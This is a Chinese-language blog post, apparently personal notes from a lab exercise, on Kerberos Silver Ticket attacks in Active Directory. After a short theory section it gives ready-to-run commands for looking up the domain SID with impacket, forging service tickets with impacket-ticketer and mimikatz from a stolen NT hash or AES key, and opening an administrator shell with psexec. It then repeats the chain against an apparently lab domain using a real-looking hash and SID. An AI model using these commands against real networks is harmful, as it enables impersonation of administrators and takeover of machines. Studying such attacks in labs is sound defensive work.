说在前面
当你获得了一个机器用户的NTLM形式的hash,那你如何登录进这台机器呢(不能PTH的情况)?
对于初学的我,直接宕机了,不过办法那确实是有的,就是本文所提到的Silver tickets攻击
Theory
服务账户的长期密钥可以用来伪造服务票据,稍后可以使用传递票据的方法访问该服务。在银票场景中,攻击者会伪造包含请求用户任意信息的服务票据,从而授予大量访问权限。
其中有个与金票很大的不同点就是银票攻击不会与域控制器(DC)进行交互,直接伪造Service Ticket来访问特定服务。而进行本次攻击的条件也很简单,就是拥有服务账户用户的NT hash或AES key
服务账户常见的分为两种,一种是机器用户,
1 2 3 4
| FILESERVER$ # 文件服务器 WEBSERVER$ # Web服务器 SQLSERVER$ # SQL服务器 EXCHANGE01$ # Exchange服务器
|
而另一种是服务用户账户
1 2 3 4 5
| svc_sql # SQL Server服务账户 svc_iis # IIS应用池账户 svc_sharepoint # SharePoint服务账户 svc_exchange # Exchange服务账户 app_service # 应用程序服务账户
|
Practice
linux
第一步我们查询域的SID,其中DomainUser应该和NThash相对应
1
| impacket-lookupsid -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0
|
然后申请银票即可
1 2 3 4 5
| impacket-ticketer -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
impacket-ticketer -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"
|
再导入银票,修改hosts进行无密码连接即可。
1 2 3
| impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -codec gbk
impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -codec gbk
|
有师傅可能会说,诶TM的,为什么不指定域控制器呢,哥哥~,我们不与DC交互的
windows
在Windows里面意味着我已经登录上去了,所以我更加可能会根据域图分析去进行其他的攻击,比如s4u啥的,而不是这个基本银票,但是写写记录一下,运行猕猴桃,得到hash的情况下这么去申请银票
1 2 3 4 5 6 7 8
| # with an NT hash kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
# with an AES 128 key kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
# with an AES 256 key kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt
|
RW Practice
现在得到MSSQLSERVER$
的NThash为c8146f80f2e526483100ff7f57ff53f4
,172.22.2.3为DC地址,172.22.2.16为目标攻击服务器
1
| impacket-lookupsid -hashes ':c8146f80f2e526483100ff7f57ff53f4' 'xiaorang.lab/MSSQLSERVER$@172.22.2.3' 0
|
得到sid为S-1-5-21-2704639352-1689326099-2164665914
,接着伪造机器的管理员申请银票。
常见的SPN服务:
1 2 3 4 5 6 7 8
| # 文件共享 "CIFS/MSSQLSERVER.xiaorang.lab"
# 主机服务 "HOST/MSSQLSERVER.xiaorang.lab"
# 专属服务 "MSSQLSvc/MSSQLSERVER.xiaorang.lab:1433"
|
一般文件共享就能成功了
1 2 3 4 5 6 7
| echo "172.22.2.16 MSSQLSERVER.xiaorang.lab" >> /etc/hosts
impacket-ticketer -nthash "c8146f80f2e526483100ff7f57ff53f4" \ -domain-sid "S-1-5-21-2704639352-1689326099-2164665914" \ -domain "xiaorang.lab" \ -spn "CIFS/MSSQLSERVER.xiaorang.lab" \ "administrator"
|
导入票据,无密码连接上去就行
1 2 3
| export KRB5CCNAME=administrator.ccache
impacket-psexec Administrator@MSSQLSERVER.xiaorang.lab -k -no-pass -codec gbk
|
下文
一个更隐蔽的银票替代方案是利用 S4U2self,通过依赖 Kerberos 委托而不是伪造一切,来冒充目标机器上具有本地管理员权限的域用户。